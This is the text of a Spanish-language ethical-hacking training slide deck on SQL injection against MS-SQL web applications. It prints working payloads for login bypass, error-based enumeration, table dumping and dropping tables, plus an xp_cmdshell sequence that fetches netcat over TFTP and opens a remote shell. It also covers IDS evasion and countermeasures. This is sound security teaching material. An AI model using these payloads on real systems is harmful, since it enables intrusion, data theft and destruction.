0% encontró este documento útil (0 votos)
27 vistas15 páginas

09A - SQL Injection v1

Este documento presenta una introducción a la inyección SQL, incluyendo los comandos básicos de SQL, la anatomía de un ataque de inyección SQL y diferentes técnicas como single quote, mensajes de error y blind SQL injection.

Cargado por

Lucas Bevilacqua
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
27 vistas15 páginas

09A - SQL Injection v1

Este documento presenta una introducción a la inyección SQL, incluyendo los comandos básicos de SQL, la anatomía de un ataque de inyección SQL y diferentes técnicas como single quote, mensajes de error y blind SQL injection.

Cargado por

Lucas Bevilacqua
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Ethical Hacker Security Training – SQL Injection

SQL Injection

Agenda

 SQL: Comandos Básicos


 SQL: Ejemplos Básicos
 Introducción a SQL Injection
 Anatomía de un Ataque
 Single Quote
 Mensaje de Error
 Road Map
 Blind SQL Injection
 Detección
 Evasión
 Contramedidas
 Herramientas

Ethical Hacker Security Training – SQL Injection 2


Copyright © 2008 SIClabs

SQL: Comandos Básicos

Comandos DCL
(Data Control Language Statements)
Cláusulas

Comandos DDL
(Data Definition Language Statements)

Comandos DML Operadores


(Data Manipulation Language Statements) de Comparación

Ethical Hacker Security Training – SQL Injection 3


Copyright © 2008 SIClabs

1
Ethical Hacker Security Training – SQL Injection

SQL: Comandos Básicos (Cont.)

Comandos DDL (Data Definition Language Statements)

CREATE Utilizado para crear nuevas tablas, campos e índices.

DROP Empleado para eliminar tablas e índices.

Utilizado para modificar las tablas agregando campos o


ALTER
cambiando la definición de los campos.

Comandos DCL (Data Control Language Statements)

GRANT Utilizado para otorgar permisos.

REVOKE Utilizado para revocar permisos.

DENY Utilizado para denegar acceso.

Ethical Hacker Security Training – SQL Injection 4


Copyright © 2008 SIClabs

SQL: Comandos Básicos (Cont.)

Comandos DML (Data Manipulation Language Statements)

Utilizado para consultar registros de una base de datos que


SELECT
satisfagan un criterio determinado.

Utilizado para cargar lotes de datos en la base de datos en


INSERT
una única posición.

Utilizado para modificar los valores de los campos y registros


UPDATE
específicos.

Utilizado para eliminar registros de una tabla de base de


DELETE
datos.

Ethical Hacker Security Training – SQL Injection 5


Copyright © 2008 SIClabs

SQL: Comandos Básicos (Cont.)

Clausulas

Utilizada para especificar la tabla de la cual se van a


FROM
seleccionar los regístros.

Utilizada para especificar las condiciones que deben reunir los


WHERE
registros que se van a seleccionar.

Utilizada para separar los registros seleccionados en grupos


GROUP BY
específicos.

Utilizada para expresar la condición que debe satisfacer cada


HAVING
grupo.

Utilizada para ordenar los registros seleccionados de acuerdo


ORDER BY
con un orden específico.

Ethical Hacker Security Training – SQL Injection 6


Copyright © 2008 SIClabs

2
Ethical Hacker Security Training – SQL Injection

SQL: Comandos Básicos (Cont.)

Operadores de Comparación

< Menor que

> Mayor que

<> Distinto de

<= Menor o igual que

>= Mayor o igual que

= Igual que

BETWEEN Utilizado para especificar un intervalo de valores.

LIKE Utilizado en comparación de un modelo.

IN Utilizado para especificar registros de una base de datos.

Ethical Hacker Security Training – SQL Injection 7


Copyright © 2008 SIClabs

Acceso a Datos

Cliente/Usuario

Un usuario solicita datos


a el gestor de base de datos,
especificando generalmente, un
criterio de selección.

los datos son devueltos


al usuario, de acuerdo al criterio de
selección estipulado en
la consulta

Gestor de Base de Datos


Ethical Hacker Security Training – SQL Injection 8
Copyright © 2008 SIClabs

SQL: Ejemplos Básicos

SELECT * FROM Tabla;

Esta consulta devuelve un recordset con todos los registros de la tabla


“Tabla”

UPDATE Tabla SET password = 'AngelPassword' WHERE


user = 'admin'

Esta sentencia actualizará el campo password para el usuario “admin”, con


el valor indicado

Ethical Hacker Security Training – SQL Injection 9


Copyright © 2008 SIClabs

3
Ethical Hacker Security Training – SQL Injection

MS-SQL: Consideraciones

 En un contexto SQL, la unidad típica de ejecución suele ser


denominada “Query” o “Consulta”, la cual no es mas que un
conjunto de comandos que por lo general devuelven un resultado
único.

 El lenguaje Transact-SQL, entiende el concepto de comandos en


“Batches”, en donde múltiples sentencias son enviadas como un
único “Batch” o “Lote”.

 En la mayoría de los casos, SQL “parsea” estos “Batches”,


ejecutando sentencia por sentencia. Es decir, si la sentencia es
considerada valida, SQL ejecutará, independientemente de
cualquier otra sentencia enviada en el mismo “batch”.

Ethical Hacker Security Training – SQL Injection 10


Copyright © 2008 SIClabs

Introducción a SQL Injection

 Se denomina SQL Injection a la posibilidad de insertar sentencias


SQL arbitrarias dentro de una consulta previamente establecida,
con el objeto de manipular de una u otra forma los procesos lícitos
de una aplicación determinada

 Este ataques se incluye en la categoría de “Validación de Entrada”


(Input Validation Attacks)

Ethical Hacker Security Training – SQL Injection 11


Copyright © 2008 SIClabs

Nivel de Impacto

3º Nivel Compromiso del host

2º Nivel Modificación / Eliminación / Inserción

1º Nivel Information Disclosure

Ethical Hacker Security Training – SQL Injection 12


Copyright © 2008 SIClabs

4
Ethical Hacker Security Training – SQL Injection

Anatomía de un Ataque
Usuario/Intruso

Internet

App.Web

App.Web

App.Web

App.Web
Web Server

Firewall
Database Server

Usuario/Intruso

Ethical Hacker Security Training – SQL Injection 13


Copyright © 2008 SIClabs

Anatomía de un Ataque (Cont.)

Database
Server

sql = “SELECT * FROM users WHERE username = '" +


username + "' AND userpass = '" + password + "'"

Ethical Hacker Security Training – SQL Injection 14


Copyright © 2008 SIClabs

Anatomía de un Ataque (Cont.)

 Un ejemplo de implementación: QUERY STRING

sql = "SELECT * FROM users WHERE


username = '" + username + "' AND
userpass = '" + password + "'"

 También llamada Single Quote o Tick, la comilla simple es un


metacaracter, y como tal en el contexto de un string, tiene una
función bien definida.
 Dentro de una estructura SQL, se utiliza la comilla simple ( ' ) para
delimitar variables dentro de una consulta.

Ethical Hacker Security Training – SQL Injection 15


Copyright © 2008 SIClabs

5
Ethical Hacker Security Training – SQL Injection

Single Quote: El Concepto (Cont.)

Username: Angel
Password: 338XD

sql = "SELECT * FROM users WHERE username =


'" + username + "' AND userpass = '" +
password + "'"

 El Interprete / Base de Datos recibiría:

SELECT * FROM Users WHERE username =


'Angel' AND userpass = '338XD'

Ethical Hacker Security Training – SQL Injection 16


Copyright © 2008 SIClabs

Single Quote: El Concepto

Username: An'gel
Password: 338XD

sql = "SELECT * FROM users WHERE username =


'" + username + "' AND userpass = '" +
password + "'"

 El Interprete / Base de Datos recibiría:

SELECT * FROM Users WHERE username =


'An'gel' AND userpass = '338XD'

Ethical Hacker Security Training – SQL Injection 17


Copyright © 2008 SIClabs

Mensaje de Error

Microsoft OLE DB Provider for SQL Server (0x80040E14)


Line 1: Incorrect syntax near 'gel'.
/process_login.asp, línea 25

Ethical Hacker Security Training – SQL Injection 18


Copyright © 2008 SIClabs

6
Ethical Hacker Security Training – SQL Injection

Road Map

 Identificación
 Salteando la Autenticación
 Obteniendo Información: Mensajes de Error
 Lectura de Datos
 Inserción de Datos
 Modificación de Datos
 Eliminación de Datos
 Denegación de Servicio
 Compromiso Total del Host

Ethical Hacker Security Training – SQL Injection 19


Copyright © 2008 SIClabs

Identificación

Objetivos:
- Indentificar componentes dinámicos en el website objetivo.
- Intentar formarse una idea de la “estructura” de la aplicación.

 Qué buscar?
 Páginas de Identificación y Autenticación de Usuarios
 Formularios de ingreso de datos.
 URIs/URLs en donde se parseen valores/variables.
http://www.fararmir.com/sections.asp?sec=primera
http://www.hacking.com/index.asp?news=1
 Todo aquel componente que acepte algún input por parte del usuario, y procese este de
algún modo.

 Cómo testear? (Modo Manual)


 Ingresando por ejemplo, el carácter ‘ (Tick / Comilla Simple) en cada uno de los
componentes previamente identificados y observando el resultado obtenido en cada
caso.
Ethical Hacker Security Training – SQL Injection 20
Copyright © 2008 SIClabs

Identificación: Tips

 Poner atención a todos los detalles al realizar una inyección

 Todos y cada uno de los parámetros encontrados en un script o


aplicación web deben ser chequeados en forma individual

 Las herramientas del tipo proxy HTTP suelen ser buenos aliados a
la hora de identificar condiciones vulnerables

 Contando con el suficiente acceso y permisos asociados, SQL


Profiler puede ser una excelente opción a fin de no depender de los
mensajes de error.

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

7
Ethical Hacker Security Training – SQL Injection

Salteando la Autenticación

Objetivos:
- Ingresar a zonas restringidas del website objetivo.
- Impersonar un usuario estándar.
- Identificar un posible Administrador e Impersonarlo.

 Como intentar by-pasear la autenticación?


 Interpretando / adivinando la forma en que la aplicación esta manejando
requerimientos de autenticación.
 Inyectando lógica SQL, en los campos de usuario y contraseña del
formulario.

 Algunas opciones:

'or 1=1-- admin'-- 'OR''=''--

Ethical Hacker Security Training – SQL Injection 22


Copyright © 2008 SIClabs

Salteando la Autenticación (Cont.)

 Por que la inyección de este código debería funcionar?

'or 1=1--
SELECT * FROM users WHERE username = '' or 1=1--' AND
userpass =''

admin'--
SELECT * FROM users WHERE username = 'admin' -- AND
userpass =''

'OR''=''--
SELECT * FROM users WHERE username = '' OR''=''-- AND
userpass =''

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

Obtención de Información: Mensajes de Error

Objetivos:
- Obtener el nombre de la tabla participante en la autenticación.
- Enumerar el nombre de sus campos.
- Enumerar el tipo de dato de los mismos.
- Obtener información respecto de la versión del software instalado
en el servidor objetivo.

Objetivos Secundarios:
- Conocer la estructura final que debe poseer un registro miembro
de la tabla participante en la autenticación, a fin de poder insertar
un nuevo registro o modificar uno existente.

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

8
Ethical Hacker Security Training – SQL Injection

Obtención de Información: Mensajes de Error (Cont.)

 Como obtener información por medio de errores ODBC?


 Inyectando lógica SQL, en los campos de usuario y contraseña del
formulario.
 Utilizando cláusulas del tipo HAVING, GROUP BY y UNION.
 Utilizando funciones internas de Microsoft SQL Server.

 Algunas cosas para probar:


'having 1=1--

SELECT * FROM users WHERE username = ''having 1=1--'


AND userpass =''

 Por que la inyección de este código debería funcionar?


La cláusula HAVING, requiere de una condición específica de
agrupamiento para funcionar.
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs

Obtención de Información: Mensajes de Error (Cont.)

 Continuando la enumeración: GROUP BY

'group by users.userid having 1=1--

SELECT * FROM users WHERE username = ''group by


users.userid having 1=1--' AND userpass =''

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

Obtención de Información: Mensajes de Error (Cont.)

 Continuando la enumeración: UNION SELECT


La función natural de la cláusula UNION SELECT, es precisamente la de crear
una consulta de unión, combinando los resultados de dos o mas consultas o
tablas independientes.

 En busca del tipo de dato

'union select sum(firstname)from users--

SELECT * FROM users WHERE username = ''union select


sum(firstname) from users--' AND userpass =''

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

9
Ethical Hacker Security Training – SQL Injection

Obtención de Información: @@version

 Por que la inyección de este código debería funcionar?

'union select @@version,1,1,1,1--

SELECT * FROM users WHERE username = ''union select


@@version,1,1,1,1--' AND userpass =''

 Al igual que sucedía con nuestro ejemplo anterior, de identificación del tipo de
dato, el mensaje de error del cual nos aprovechamos en esta oportunidad, es
producto de la conversión automática realizada por MS SQL Server.
 El mismo se da cuando se intenta convertir un string en un int.
 En este caso, se intenta convertir la constante interna @@version en un dato
del tipo int debido a que la primer columna de nuestra consulta es también del
tipo int.
 Otras funciones útiles: @@language, @@servicename, @@servername, etc.

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

Consulta On-Line

http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=37

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

Lectura de Datos
 Es posible provocar mensajes de error por conversión, con el objeto de
leer el campo de una tabla en forma arbitraria?
- Por supuesto!!
 Veamos algunos ejemplos:

'union select min(username),1,1,1,1 from users


where username > 'a'--
SELECT * FROM users WHERE username = ''union select
min(username),1,1,1,1 from users where username > 'a'--

'union select min(username),1,1,1,1 from users


where username > 'b'--
SELECT * FROM users WHERE username = ''union select
min(username),1,1,1,1 from users where username > 'b'--
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs

10
Ethical Hacker Security Training – SQL Injection

Table Browsing

 Método de tres pasos

1º PASO: Generación de Tabla Temporal


'declare @aux varchar(8000) set @aux='' select
@aux=@aux+username+'/'+userpass+';'from users
where username>@aux select @aux as aux into tmp--

2º PASO: Browsing de la Tabla Temporal

'union select aux,1,1,1,1 from tmp--

3º PASO: Eliminación de la Tabla Temporal

';drop table tmp--

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

Alterando Datos

 Insercción
'insert into users
values(9,'MyUser','MyPass','MyFName','MyLName')--
SELECT * FROM users WHERE username = ''insert into
users values(9, 'MyUser', 'MyPass', 'MyFName',
'MyLName')--'AND userpass =''
 Modificación
'update users set userpass='NewPass' where
username='admin'--
 Eliminación
'delete from users where username='MyUser'--
 Eliminación de la Tabla
'drop table users--
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs

Compromiso Total del Host


 Tan solo un ejemplo: xp_cmdshell
 xp_cmdshell representa uno excelente recurso para el atacante, puesto
 que le brinda a este, la posibilidad de ejecutar todos aquellos comandos
 que se encuentran disponibles en una Shell  inclusive otra Shell :).
1º PASO: File Upload
'exec master.dbo.xp_cmdshell 'cmd /c tftp –i
i 172.16.1.196
get nc.exe c:\nc.exe'--

2º PASO: Ejecución

'exec master.dbo.xp_cmdshell 'cmd /c c:\nc.exe –l –d –p


1234 –t –e cmd.exe '--

3º PASO: Conexión
c:\telnet 172.16.1.196 1234
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs

11
Ethical Hacker Security Training – SQL Injection

Blind SQL Injection

 Seguridad por Oscuridad (Security by Obscurity)


 Validación JavaScript del lado del cliente
 Redireccionamiento a la página principal
 Error 500 Internal Server Error
 Errores Customizados (200 OK)

 ¿Es posible resolver una inyección sin ver mensajes de error?


 Aún cuando no se obtengan mensajes de error, la aplicación puede ser
susceptible a un ataque de SQL Injection
 Su explotación puede ser bastante mas trabajosa, aunque si las
condiciones están dadas, esta puede resultar igual de efectiva que las
técnicas tradicionales

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

Detección

 Inspección a nivel de Capa de Aplicación (Layer 7)

 En raras oportunidades alertan a los IDS/IPS al menos que se


encuentre específicamente configurado a tal efecto

 IDS/IPS: Reglas de Detección Específicas (Cantidad de firmas?)

 Es teóricamente posible, pero prácticamente imposible identificar


por medio de firmas, las diferentes variantes

 La protección por medio de sistemas basados en firmas no es


“práctico”

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

Evasión

 Evasión básica utilizando diferentes encoders

 Evasión por medio de inclusión de espacios en blanco

 Evasión vía fragmentación y segmentación TCP

 Basada en la imposibilidad de detectar TODO

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

12
Ethical Hacker Security Training – SQL Injection

Contramedidas: Validación de Entrada

 La validación de entrada, es la primer capa de protección frente a


este tipo de ataques. Verifique sus opciones y haga un buen uso de
las rutinas de validación

 Inspeccione detalladamente el ingreso de datos en sus


aplicaciones, a fin de asegurar que estos contienen solo caracteres
aceptables antes de ser enviados al backend

 Algunas Opciones de Validación


 “Escapar” las comillas simples
 Rechazar lo que conoce como “Bad Input”
 Solo permitir el ingreso de “Good Input”
 Definir los tipos de datos a utilizar en las entradas, en tiempo de diseño
 Implementar filtros que incorporen SOLO los caracteres permitidos
 Si se esperan valores numéricos, usar tipos de datos numéricos
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs

Contramedidas: Generalidades

 Implementar defensa en profunidad


 Realizar el correcto hardening de la plataforma
 Implementar un cuidadoso filtrado en los firewalls y border routers
 No almacenar passwords dentro de los scripts
 Hacer uso del principio de “Menor Privilegio”
 Eliminar todos aquellos “Stored Procedures built in” que no se
utilicen
 Asignar passwords complejos para el usuario “SA”
 Siempre que sea posible, utilizar “Seguridad Integrada de MS-SQL”
 Realizar auditorias periódicas al esquema de seguridad
 Implementar ciclos de revisión de código
 Utilizar IPSec o SSL cuando sea posible
 Implementar “Stored Procedures” en forma segura
 Utilizar checklists de http://www.sqlsecurity.com
Ethical Hacker Security Training – SQL Injection
Copyright © 2008 SIClabs

Herramientas

 Absinthe

 SQLPing2

 SQLier

 SQLNinja

 SQL Power Injector

 SQID

 SQL Brute

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

13
Ethical Hacker Security Training – SQL Injection

SQL Injection

Links, Referencias y
Lecturas Complementarias

Links

 ISSAF (Information System Security Assessment Framework)


 http://www.oissg.org

 OWASP “Guide to Building Secure Webs Apps”


 http://www.owasp.org/documentation

 “SQL Injection – Un Repaso[” (Hernán M. Racciatti)


 http://www.hernanracciatti.com.ar

Ethical Hacker Security Training – SQL Injection


Copyright © 2008 SIClabs

Referencias y Lecturas Complementarias

 CEH Official Certified Ethical Hacker Review Guide


By Kimberly Graves
(Sybex) ISBN: 0782144373
 Certified Ethical Hacker Exam Prep
By Michael Gregg
(Que) ISBN: 0789735318
 Hacking Exposed, Fifth Edition
By S.McClure, J.Scambray, and G.Kurtz
(McGraw-Hill Osborne Media) ISBN: 0072260815
 Gray Hat Hacking, Second Edition
By S.Harris, A.Harper, C.Eagle, J.Ness
(McGraw-Hill Osborne Media) ISBN: 0071495681

Ethical Hacker Security Training – SQL Injection 42


Copyright © 2008 SIClabs

14
Ethical Hacker Security Training – SQL Injection

SQL Injection

Preguntas?

15

También podría gustarte